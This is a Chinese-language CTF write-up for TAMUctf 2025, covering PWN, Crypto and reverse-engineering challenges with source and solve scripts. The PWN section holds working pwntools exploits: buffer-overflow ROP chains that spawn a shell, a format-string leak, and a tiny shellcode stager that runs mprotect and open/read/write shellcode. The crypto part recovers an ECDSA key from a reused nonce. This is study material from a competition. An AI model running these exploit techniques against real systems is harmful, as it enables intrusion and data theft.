当前位置: 首页 > news >正文

[TAMUctf 2025]

这个两天的比赛,作了8个题。43名,还算不错。感觉比较擅长的PWN和Crypto都只作了两题,不怎么作的REV作了4个。

PWN

Debug 1

这外题就这点好,经常是给c源码的。省了不少看代码的时间。反编译的毕竟看起来不方便多了。

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdbool.h>

int upkeep() {
	// IGNORE THIS
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
}

int modify(char input[]) {
	puts("Input a string (max length of 69 characters):\n");
	
	int x = read(0, input, 0x60);
	
	printf("String you entered: %s\n", input);

	for (int i = 0; i < x; ++i) {
		// Make uppercase letters into lowercase
		if (((int)input[i] >= 97) && ((int)input[i] <= 122)) {
			input[i] = (char)((int)input[i]-32);
		}
		// Make lowercase letters into uppercase
		else if (((int)input[i] >= 65) && ((int)input[i] <= 90)) {
			input[i] = (char)((int)input[i]+32);
		}

	}

	return 1;
}

int menu() {
	int sel;
	char input[69];

	while (true) {
		puts("Choose an option:");
		puts("1: Modify string");
		puts("2: Debug Mode");
		puts("3: Exit\n");

		scanf("%d", &sel);
		printf("You selected: %d\n", sel);

		if (sel==1) {
			modify(input);
			printf("Your string: %s\n", input);
			return 1;
		}
		else if (sel==2) {
			// Still working on this function, so I disabled it :)
			//debug();
			puts("Debug mode has been disabled!");
			return 1;
		}
		else if (sel==3) {
			return 1;
		}
		puts("Invalid input! Try again.");
	}
	return 1;
}

// TODO: finish making debug function
int debug() {
	int admin = 0;
	// TODO: Add admin check
	int sel;

	puts("WARNING: If you are reading this and are NOT an");
	puts("administrator, report this to IT immediately!\n");

	while (true) {
		puts("Admin options:");
		puts("1. Print info");
		puts("2. Feature 2 (Uhhhhh idk what to put here)"); // TODO:
		puts("3. Feature 3 (I hope your day is going well :) )"); // TODO:
		
		scanf("%d", &sel);
		printf("You selected: %d\n", sel);

		if (sel==1) {
			printf("libc leak: %lx\n", system);

			puts("Leave a message here (max: 80 characters)!");
			char message[80];

			read(0, message, 800);

			puts("Thanks!");

			return 1;
		}
		else if (sel==2) {
			// TODO:
			return 1;
		}
		else if (sel==3) {
			// TODO:
			return 1;
		}
		puts("Invalid input!");
	}
	return 1;
}

int main() {
	upkeep();

	puts("String Modifier v1.4.2");
	puts("Created by: FlamePyromancer"); // :)

	menu();

	printf("\nExiting...\n");
}

main->menu->modify这里能将menu里的值溢出一点,可以溢出到debug这里不仅给出libc地址还给出一个很大的溢出。就OK了

from pwn import *
context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6')
pop_rdi = 0x000000000040154b # pop rdi ; ret
pop_rsi = 0x0000000000401549 # pop rsi ; pop r15 ; ret


#p = process('./debug-1')
#gdb.attach(p, "b*0x401409\nc")
p = remote("tamuctf.com", 443, ssl=True, sni="tamuctf_debug-1")

p.sendlineafter(b"3: Exit\n\n", b'1')
p.sendafter(b"Input a string (max length of 69 characters):\n\n", b'\0'*0x58+flat(0x4013a0))

p.sendlineafter(b'3. Feature 3 (I hope your day is going well :) )\n', b'1')
p.recvuntil(b"libc leak: ")
libc.address = int(p.recvline(), 16) - libc.sym['system']
print(f"{libc.address = :x}")

p.sendafter(b"Leave a message here (max: 80 characters)!\n", b'\0'*0x68 + flat(pop_rdi+1, pop_rdi,next(libc.search(b'/bin/sh\0')) , libc.sym['system']))

p.interactive(prompt="")
#gigem{d3bUg61ng_n3w_c0d3_a24dcfe3}

*Debug 2

 升级版直接删除了debug函数,但是modify的read 0x60还是比69大,利用这个溢出先带出加载地址,然后弄弄个puts搞到libc再跟个read把后续读进去。只是本地成功远程不行。

from pwn import *
context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6')
elf = ELF('./debug-2')

def tran(pay):
    v = []
    for i in pay:
        if ord('A')<=i<=ord('Z'):
            v.append(i+32)
        elif ord('a')<=i<=ord('z'):
            v.append(i-32)
        else:
            v.append(i)
    return bytes(v)


#p = process('./debug-2')
#gdb.attach(p, "b*0x5555555552da\nc")
p = remote("tamuctf.com", 443, ssl=True, sni="tamuctf_debug-2")

p.sendlineafter(b"3: Exit\n\n", b'1')
p.sendafter(b"Input a string (max length of 69 characters):\n\n", b'0'*0x58+b'\xd8')
p.recvuntil(b'0'*0x58)
elf.address = u64(p.recvline()[:-1].ljust(8,b'\0')) - 0x13d8
print(f"{elf.address = :x}")

pop_rbp = elf.address + 0x000000000000115f # pop rbp ; ret
pop_rdi = elf.address + 0x000000000000145b # pop rdi ; ret
pop_rsi = elf.address + 0x0000000000001459 # pop rsi ; pop r15 ; ret
bss = elf.address + 0x4f00

p.sendlineafter(b"3: Exit\n\n", b'1')

p.sendafter(b"Input a string (max length of 69 characters):\n\n", b'0'*0x50+tran(flat(bss, elf.address+0x134a)))

p.sendafter(b"Input a string (max length of 69 characters):\n\n", tran(flat(pop_rdi, elf.got['puts'], elf.plt['puts'], pop_rdi, 0, pop_rsi, bss-8,0, elf.plt['read'],0,bss-0x58, elf.address+0x12da)))
print('RECV:',p.recvline())
print('RECV:',p.recvline())

libc.address = u64(p.recvline()[:-1].ljust(8, b'\0')) - libc.sym['puts']
print(f"{libc.address = :x}")

pop_rdx = libc.address + 0x00000000000aa0c2 # pop rdx ; ret
pop_rax = libc.address + 0x000000000003a768 # pop rax ; ret
syscall = libc.sym['getpid'] + 5

#p.send(flat(pop_rdi+1, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')) , pop_rsi,0,0, pop_rdx,0, pop_rax,59, syscall))
p.send(flat(pop_rdi, next(libc.search(b'/bin/sh\0'))  , libc.sym['system']))
sleep(0.5)
p.sendline(b'cat flag*')
p.interactive(prompt="")

Sniper

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/fcntl.h>

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void load_flag() {
    int fd = open("flag.txt", O_RDONLY);
    mmap(0x000000000a0a0000, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
}

void vuln() {
    char buf[48];
    printf("%p\n", buf);
    fgets(buf, sizeof(buf), stdin);
    close(0);
    printf(buf);
    exit(0);
}

int main() {
    init();
    load_flag();
    vuln();
}

flag已经摆在眼前了,只是这个地址0x0a0a在gets里输不进去。而且只有一次机会。只有不用$直接一个个搞偏移。先给后边搞个0,然后把0xa0a加到前边,再把它当指针%s即可。

from pwn import *
context(arch='amd64', log_level='debug')

#p = process('./sniper')
#gdb.attach(p, "b*0x5555555552dd\nc")
p = remote("tamuctf.com", 443, ssl=True, sni="tamuctf_sniper")
buf = int(p.recvline(),16)
print(f"{buf = }")

pay = b'%c'*8+ b'%2562c%hn%s'
pay = pay.ljust(32,b'\0')+flat(buf+8*5+2, 0)
p.sendline(pay)

p.interactive()
#gigem{you_know_what_maybe_i_should_just_leave_naming_up_to_rng_via_http://ternus.github.io/nsaproductgenerator/}

SEVEN

7个字符的shellcode,并且关闭了buf的写权还用seccomp限制了execve

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void no_one_gadget_for_you() {
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
    seccomp_load(ctx);
}

#define RWX 0x500000

int main() {
    init();
    no_one_gadget_for_you();
    char* code = mmap(RWX, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED_NOREPLACE, -1, 0);
    if (code != MAP_FAILED) {
        read(0, RWX, 7);
        mprotect(RWX, 0x1000, PROT_READ | PROT_EXEC);
        ((void (*)())RWX)();
    }
}

发现有ppp6+mov_call这个万能gadget,用7个字节造read+ret将ROP读到栈里然后执行ROP,利用这个ROP将buf的写权打开,然后读ORW到buf再跳过去执行

from pwn import *
context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6')
elf = ELF('./seven')

#p = process('./seven')
#gdb.attach(p, "b*0x401126\nc")
p = remote("tamuctf.com", 443, ssl=True, sni="tamuctf_seven")

pay = 'push rsp;pop rsi;push rax;pop rdi;syscall;ret'
p.send(asm(pay))

pop_rdi = 0x000000000040136b # pop rdi ; ret
pop_rsi = 0x0000000000401369 # pop rsi ; pop r15 ; ret
ppp6 = 0x401362 #rbx,rbp,r12,r13,r14,r15,ret
mov_call = 0x401348 #mov rdx,r15;mov rsi,r14;mov edi,r13d;call [r12+rbx*8]; add rbx,1;cmp rbp,rbx; 

pay = flat([
    ppp6, 0,1,elf.got['mprotect'], 0x500000, 0x1000, 7, mov_call,  #mprotect(RWX,0x1000,7)
    ppp6, 0,1,elf.got['read'], 0, 0x500000, 0x100, mov_call, #read(0,RWX,0x100)
    ppp6, 0,1,0x500000, 0,0,0x500000, mov_call #call [0x500000]
])

p.send(pay)
sleep(1)
pay = shellcraft.open('flag.txt')+ shellcraft.read('rax', 0x404800,0x50)+ shellcraft.write(1,0x404800,0x50)
p.send(p64(0x500000+8)+asm(pay))

p.interactive()
#gigem{my_challenge_names_are_so_creative_right}

 

Crypto

ECC

这个一开始就卡了,签名题。后来仔细一看原来两个给出的明文都是提示。第1个不用说是指定曲线。然后就卡这个了,这个美国军文推的曲线有漏洞。其实这题跟这个没关系,重要的是第2句说共用了k那就没难度了,两个方程两个未知数。

from Crypto.Util.number import bytes_to_long, long_to_bytes
from hashlib import sha256
from secret import sign

message1 = "The secp256r1 curve was used."
message2 = "k value may have been re-used."

message1 = bytes_to_long(sha256(message1.encode()).digest())
message2 = bytes_to_long(sha256(message2.encode()).digest())

r1, s1 = sign(message1)
r2, s2 = sign(message2)

print(f"r1: {r1}, s1: {s1}")
print(f"r2: {r2}, s2: {s2}")

我感觉弄的麻烦了,两个式子交叉一乘直接消掉k就得到x了 

from Crypto.Util.number import bytes_to_long, long_to_bytes
from hashlib import sha256

message1 = "The secp256r1 curve was used."
message2 = "k value may have been re-used."

r1 = 91684750294663587590699225454580710947373104789074350179443937301009206290695
s1 = 8734396013686485452502025686012376394264288962663555711176194873788392352477

r2 = 91684750294663587590699225454580710947373104789074350179443937301009206290695
s2 = 96254287552668750588265978919231985627964457792323178870952715849103024292631

H1 = bytes_to_long(sha256(message1.encode()).digest())
H2 = bytes_to_long(sha256(message2.encode()).digest())

#secp256r1 
p=0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
p = 0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
a = 0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC
b = 0x5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B
Gx = 0x6B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296
Gy = 0x4FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5
n = 0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551

#k*s = H +r*x  k重用
P.<x,k> = PolynomialRing(Zmod(n))
f1 = k*s1 - H1 - r1*x
f2 = k*s2 - H2 - r2*x
I = Ideal([f1,f2]).groebner_basis()
print(I)
#[x + 115791375488799238320745873815850719231967443923586961238742330117758552895444, k + 63146964498942416878006827051672810760330773963818734151196524363648583300539]
res=[x.constant_coefficient() for x in I]
x = -res[0]%n
m = long_to_bytes(int(x))
#gigem{r3u51n6_k_0n_516n47ur35}

Mod

这是个m大到n的题,就是明文比模大。

import re
with open("flag.txt") as f:
    flag = f.read()
assert re.fullmatch(r"gigem\{[a-z0-9_]{38}\}",flag)
flag_num = int.from_bytes(flag.encode(), 'big')
assert flag_num % 114093090821120352479644063983906458923779848139997892783140659734927967458173 == 58809011802516045741268578327158509054400633329629779038362406616616290661238

在本地测试数据试了一下,BKZ只能求出芯里36字符,需要爆破两个。

n = 114093090821120352479644063983906458923779848139997892783140659734927967458173
c = 58809011802516045741268578327158509054400633329629779038362406616616290661238

import string
from itertools import product 

table = "0123456789_abcdefghijklmnopqrstuvwxyz"
def getv(tc,k):
    tc = (c - tc)*inverse(256,n)%n
    
    A = [256^(35-i) for i in range(36)]+[int(-tc)]
    M = block_matrix(ZZ,[[1,matrix(ZZ,A).T],[0,n]])
    M[-2,-2]*=64
    M[:,-1:]*=64
    L = M.BKZ()
    
    for v in L:
        if abs(v[-2]) != 64: continue
        if all([-37<=i<=37 for i in v[:-2]]):
            print(k+bytes([85+i for i in v[:-2]]))
            print(k+bytes([85-i for i in v[:-2]]))

from tqdm import tqdm
nums = 2
for j in tqdm(product(table,repeat = nums)):
    #print(''.join(j))
    base = bytes_to_long(b"gigem{" + "".join(j).encode() + b"U"*36 + b"}")%n
    getv(base,"".join(j).encode())

#b'3v3ry1_kn0wz_l1l_15_alw4yz_7h3_answ3rz'
#gigem{3v3ry1_kn0wz_l1l_15_alw4yz_7h3_answ3rz}

*RC4 Prefix

 这个没整成,RC4的题通过不同的前缀求后边的IV。感觉是想办法让后边的IV指定字符信息落在0的位置。先把原题放这。

from Crypto.Cipher import ARC4
import os
from string import printable
from random import choices

IV = ''.join(choices(printable,k=32)).encode()
for i in range(96):
    nonce = input("Give me a prefix (hex): ")
    try:
        nonce = bytes.fromhex(nonce)
    except:
        print("Make sure to send in hex.")
        exit()
    if len(nonce) + len(IV) > 256:
        print("Your prefix is too long.")
        exit()
    try:
        cipher = ARC4.new(nonce + IV)
    except:
        print("Could not create the cipher.")
        exit()
    
    pt = b"\0"
    ct = cipher.encrypt(pt)
    print(f"Your lucky number is {ord(ct)}")

guess = input("What was the IV(hex): ")
try:
    guess = bytes.fromhex(guess)
except:
    print("Make sure to send your guess for the IV in hex.")
    exit()
if IV == guess:
    with open("flag.txt","r") as f:
        FLAG = f.read()
        print(FLAG)
else:
    print(f"WRONG! IV was {IV.hex()}")

REV

What It Does

给了一个冗长的代码和完全看不懂的密文。放弃后又拿起来发现个"{",每一段的第二个M后边跟着的字符连起来真好是flag头,那就OK了。

*T:What's the flag? 
A
M:k
YJ:1
M:g    <---- gigem{it_does_what_it_does}
NJ:1
A
M:m
YJ:1
M:i   <-----
NJ:1
A
M:F
YJ:1
M:g   <----
NJ:1
A
M:h
YJ:1
M:e  <---
NJ:1
A
M:l
YJ:1
M:m <----
NJ:1
A
M:Z
YJ:1
M:{
NJ:1
A
M:V
YJ:1
M:i
NJ:1
A
M:T
YJ:1
M:t
NJ:1
A
M:Y
YJ:1
M:_
NJ:1
A
M:f
YJ:1
M:d
NJ:1
A
M:g
YJ:1
M:o
NJ:1
A
M:B
YJ:1
M:e
NJ:1
A
M:T
YJ:1
M:s
NJ:1
A
M:B
YJ:1
M:_
NJ:1
A
M:A
YJ:1
M:w
NJ:1
A
M:E
YJ:1
M:h
NJ:1
A
M:Q
YJ:1
M:a
NJ:1
A
M:m
YJ:1
M:t
NJ:1
A
M:K
YJ:1
M:_
NJ:1
A
M:z
YJ:1
M:i
NJ:1
A
M:T
YJ:1
M:t
NJ:1
A
M:l
YJ:1
M:_
NJ:1
A
M:o
YJ:1
M:d
NJ:1
A
M:V
YJ:1
M:o
NJ:1
A
M:H
YJ:1
M:e
NJ:1
A
M:U
YJ:1
M:s
NJ:1
A
M:f
YJ:1
M:}
NJ:1
J:2
*T:Wrong!
S
*T:Correct!
S

 OTP

给了加密源码,然后是dump出来的内存。

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>

#define KEYS 1000

int RANDOM_FD = -1;

void dump() {
    char cmd[128];
    int pid = getpid();
    snprintf(cmd, sizeof(cmd), "gcore -o dump %d; mv dump.%d dump", pid, pid);
    system(cmd);
}

void otp(unsigned char* p, int n, int depth) {
    char key[128];

    read(RANDOM_FD, key, n);
    for (int i = 0; i < n; ++i) {
        p[i] ^= key[i];
    }

    if (depth < KEYS - 1) {
        otp(p, n, depth + 1);
    } else {
        dump();
    }
}

int main(int argc, char** argv) {
    if (argc != 3) {
        printf("Usage: %s <FLAG_FILE> <ENCRYPTED_FLAG_FILE>\n", argv[0]);
        return 0;
    }
    char* flag = argv[1];
    char* encrypted_flag = argv[2];
    RANDOM_FD = open("/dev/urandom", O_RDONLY);
    unsigned char p[128];

    int fd = open(flag, O_RDONLY);
    if (fd < 0) {
        printf("%s not found\n", flag);
        return 0;
    }
    int n = read(fd, p, 128);
    int write_fd = open(encrypted_flag, O_WRONLY | O_CREAT, 0644);
    if (n > 1) {
        if (p[n - 1] == '\n') {
            --n;
        }
        otp(p, n, 0);
        write(write_fd, p, n);
    }
    close(RANDOM_FD);
    close(fd);
    close(write_fd);
}

用999层key异或,只能从dump里取了。不过看上去它写的是998,但实际是999才行。

from pwn import xor 

c = open('encrypted_flag.bin','rb').read()
data = open('dump','rb').read()

s = 0x34290
for i in range(1000):
    c = xor(c, data[s:s+0x3b])
    print(data[s:s+0x3b])
    s -= 0xc0

print(c)
#gigem{if_you_did_that_manually_i_am_so_sorry_for_your_loss}

Brainrot

给了火星人代码,不过看上去跟python差不多,需要翻译一下。

from hashlib import sha256
class Brain:
    def __init__(self, neurons):
        self.neurons = neurons
        self.thought_size = 10
    
    def brainstem(self):
        return sha256(",".join(str(x) for i in sum(self.neurons, [])).encode()).hexdigest()
    
    def rot(self,data):
        for i in range(len(data)):
            self.neurons[(3*i + 7)% self.thought_size][(9*i + 3)%self.thought_size] ^= data[i]
    
    def think(self,data):  
        thought = [0]* self.thought_size
        for i in range(self.thought_size):
            thought[i] = sum(self.neurons[i][j]*data[j] for j in range(self.thought_size))
        self.neurons[:-1] = self.neurons[1:]
        self.neurons[-1] = thought
        return thought

healthy_brain = [[71, 101, 18, 37, 41, 69, 80, 28, 23, 48], [35, 32, 44, 24, 27, 20, 34, 58, 24, 9], [73, 29, 37, 94, 27, 58, 104, 65, 116, 44], [26, 83, 77, 116, 9, 96, 111, 118, 52, 62], [100, 15, 119, 53, 59, 34, 38, 68, 104, 110], [51, 1, 54, 62, 56, 120, 4, 80, 60, 120], [125, 92, 95, 98, 97, 110, 93, 33, 128, 93], [70, 23, 123, 40, 75, 23, 104, 73, 52, 6], [14, 11, 99, 16, 124, 52, 14, 73, 47, 66], [128, 11, 49, 111, 64, 108, 14, 66, 128, 101]]
brainrot = b"gnilretskdi ,coffee ,ymotobol ,amenic etulosba ,oihO ni ylno ,oihO ,pac eht pots ,pac ,yadot yarp uoy did ,pu lio ,eohs ym elkcub 2 1 ,sucric latigid ,zzir tanec iaK ,tac frumS ,yzzilg ,ekahs melraH ,tanec iaK ,raebzaf ydderF ,gnixamnoog ,hoesac ,relzzir eht rof ttayg ruoy tuo gnikcits ,reppay ,gnippay ,pay ,gniggom ,gom,ttalcobmob ,gnillihc gnib ,deepswohsi ,tor niarb ,oitar + L ,ozob L ,L ,oitar ,ie ie iE ,suoived ,emem seimmug revas efil dna seceip s'eseeR ,io io io ,ytrap zzir koTkiT ,teggun ,su gnoma ,retsopmi ,yssus ,suS ,elgnid eladnuaQ ,gnos metsys ym ni atnaF ,kcil suoived ,syddid ta sthgin 5 ,hsinapS ro hsilgnE .gnos teksirb ,agnizab ,bruc eht etib ,orb lil ,dulb ,ni gnihcram og stnias eht nehw ho ,neerb fo seert ees I ,sinneD ekud ,biks no ,ennud yvvil ,knorg ybab ,rehtorb pu s'tahw ,gab eht ni seirf eht tuP ,edaf repat wol ,yddid ,yddirg ,ahpla ,gnixxamskool ,gninoog ,noog ,egde ,gnigde ,raeb evif ydderf ,ekahs ecamirg ,ynnacnu ,arua ,daeh daerd tnalahcnon ,ekard ,gnixat munaF ,xat munaf ,zzir idibikS ,yug llihc ,eiddab ,kooc reh/mih tel ,gnikooc ,kooc ,nissub ,oihO ,amgis eht tahw ,amgis ,idibikS no ,relzzir ,gnizzir ,zzir ,wem ,gniwem ,ttayg ,teliot idibikS ,idibikS"[::-1]

brain = Brain(healthy_brain)
brain.rot(brainrot)

flag = input("> ").encode() #40

required_thoughts = [
    [59477, 41138, 59835, 73146, 77483, 59302, 102788, 67692, 62102, 85259],
    [40039, 59831, 72802, 77436, 57296, 101868, 69319, 59980, 84518, 73579466],
    [59783, 73251, 76964, 58066, 101937, 68220, 59723, 85312, 73537261, 7793081533],
    [71678, 77955, 59011, 102453, 66381, 60215, 86367, 74176247, 9263142620, 982652150581],
]

failed_to_think =False
for i in range(0,len(flag),10):
    thought = brain.think(flag[i:i+10])
    if thought != required_thoughts[i//10]:
        failed_to_think = True

if failed_to_think or brain.brainstem() != "4fe4bdc54342d22189d129d291d4fa23da12f22a45bca01e75a1f0e57588bf16":
    print("ermm... you might not be a s""igma...")
else:
    print("holy s""kibidi you popped off... go submit the flag")

本身对Cryptor没啥难度就是矩阵求个解。

A = [[71, 101, 45, 37, 41, 69, 80, 28, 23, 48], [35, 32, 44, 24, 27, 88, 34, 58, 24, 9], [73, 29, 37, 94, 27, 58, 104, 65, 17, 44], [26, 3, 77, 116, 9, 96, 111, 118, 52, 62], [100, 15, 119, 53, 86, 34, 38, 68, 104, 110], [51, 1, 54, 62, 56, 120, 4, 10, 60, 120], [113, 92, 95, 98, 97, 110, 93, 33, 128, 93], [70, 23, 123, 86, 75, 23, 104, 73, 52, 6], [14, 11, 99, 16, 124, 52, 67, 73, 47, 66], [128, 11, 49, 111, 64, 108, 14, 66, 128, 116]]
B = [59477, 41138, 59835, 73146, 77483, 59302, 102788, 67692, 62102, 85259]
M = matrix(ZZ,A)
B = vector(ZZ,B)
v = M.solve_right(B)
m = bytes(v)

A = [[35, 32, 44, 24, 27, 88, 34, 58, 24, 9], [73, 29, 37, 94, 27, 58, 104, 65, 17, 44], [26, 3, 77, 116, 9, 96, 111, 118, 52, 62], [100, 15, 119, 53, 86, 34, 38, 68, 104, 110], [51, 1, 54, 62, 56, 120, 4, 10, 60, 120], [113, 92, 95, 98, 97, 110, 93, 33, 128, 93], [70, 23, 123, 86, 75, 23, 104, 73, 52, 6], [14, 11, 99, 16, 124, 52, 67, 73, 47, 66], [128, 11, 49, 111, 64, 108, 14, 66, 128, 116],[59477, 41138, 59835, 73146, 77483, 59302, 102788, 67692, 62102, 85259]]
B = [40039, 59831, 72802, 77436, 57296, 101868, 69319, 59980, 84518, 73579466]
M = matrix(ZZ,A)
B = vector(ZZ,B)
v = M.solve_right(B)
m+=bytes(v)

A = [[73, 29, 37, 94, 27, 58, 104, 65, 17, 44], [26, 3, 77, 116, 9, 96, 111, 118, 52, 62], [100, 15, 119, 53, 86, 34, 38, 68, 104, 110], [51, 1, 54, 62, 56, 120, 4, 10, 60, 120], [113, 92, 95, 98, 97, 110, 93, 33, 128, 93], [70, 23, 123, 86, 75, 23, 104, 73, 52, 6], [14, 11, 99, 16, 124, 52, 67, 73, 47, 66], [128, 11, 49, 111, 64, 108, 14, 66, 128, 116],[59477, 41138, 59835, 73146, 77483, 59302, 102788, 67692, 62102, 85259],[40039, 59831, 72802, 77436, 57296, 101868, 69319, 59980, 84518, 73579466]]
B = [59783, 73251, 76964, 58066, 101937, 68220, 59723, 85312, 73537261, 7793081533]
M = matrix(ZZ,A)
B = vector(ZZ,B)
v = M.solve_right(B)
m+=bytes(v)

A = [[26, 3, 77, 116, 9, 96, 111, 118, 52, 62], [100, 15, 119, 53, 86, 34, 38, 68, 104, 110], [51, 1, 54, 62, 56, 120, 4, 10, 60, 120], [113, 92, 95, 98, 97, 110, 93, 33, 128, 93], [70, 23, 123, 86, 75, 23, 104, 73, 52, 6], [14, 11, 99, 16, 124, 52, 67, 73, 47, 66], [128, 11, 49, 111, 64, 108, 14, 66, 128, 116],[59477, 41138, 59835, 73146, 77483, 59302, 102788, 67692, 62102, 85259],[40039, 59831, 72802, 77436, 57296, 101868, 69319, 59980, 84518, 73579466],[59783, 73251, 76964, 58066, 101937, 68220, 59723, 85312, 73537261, 7793081533]]
B = [71678, 77955, 59011, 102453, 66381, 60215, 86367, 74176247, 9263142620, 982652150581]
M = matrix(ZZ,A)
B = vector(ZZ,B)
v = M.solve_right(B)
m+=bytes(v)

print(m)
#gigem{whats_up_my_fellow_skibidi_sigmas}

Xorox

一看名字就简单,只是c里用的128位寄存器。看到4个大串,异或一下试试。

ym7 = bytes.fromhex('8019C0BF4320CA1E9FBE3F75BAA386D3EA85D18816CCD5870130CF41B7BBAED4') #4020
v7  = bytes.fromhex('A80081BF4353AC5ED8B3404A9C81A9E5FCD283B20D8EC4983667E24FF2F8F489') #2080
v6  = bytes.fromhex('FB6FF3CD3A7F8C2AAACA6026F3EEC28C92B5A3D761FDA1EF5E02902AD2C2DDA9') #2060

xor(ym7,v6)

#gigem{v3ry_F45t_SIMD_x0r_w1th_2_keys}

相关文章:

  • 【C语言】文件操作(2)
  • 吾爱破解安卓逆向学习笔记(4p)
  • OpenCV:计算机视觉的强大开源库
  • 【Python Cookbook】字符串和文本(三)
  • Java基础 3.31
  • Macro 巨汇黄金外汇投资全解析:策略与操作步骤?
  • 【STM32】最后一刷-江科大Flash闪存-学习笔记
  • 第四章Python基础进阶—函数(其二)
  • 自由学习记录(51)
  • 电源芯片在自动化测试中该如何降低成本增加精准度
  • LLM - 开源强化学习框架 OpenR1 的环境配置与训练参数 教程
  • Spring Boot 中的 Aware 接口以及 ApplicationContextAware 的详细说明、使用示例及注意事项
  • MySQL源码学习系列(二)--面试高频问题:general log、slowlog记录顺序
  • 网红指路机器人是否支持环境监测功能?
  • GitHub热门RAG框架:让大语言模型更智慧
  • 蓝桥杯备考:BFS之Catch That Cow S
  • 5G随身Wi-Fi下的pcdn
  • 动态开点线段树处理超大范围数据区间问题 - 洛谷P2781
  • Adobe Lightroom 2025安装下载和激活指南
  • Linux常见操作命令(2)
  • 网站建设公司兴田德润i简介/阿里云域名查询
  • 做电影ppt模板下载网站/百度指数如何分析数据
  • 什么网站没人做/sem是什么测试
  • 服饰营销型网站建设/网络新闻发布平台
  • 2019一个网站开发要多少钱/来宾网站seo
  • dw怎么做鲜花网站/天津seo招聘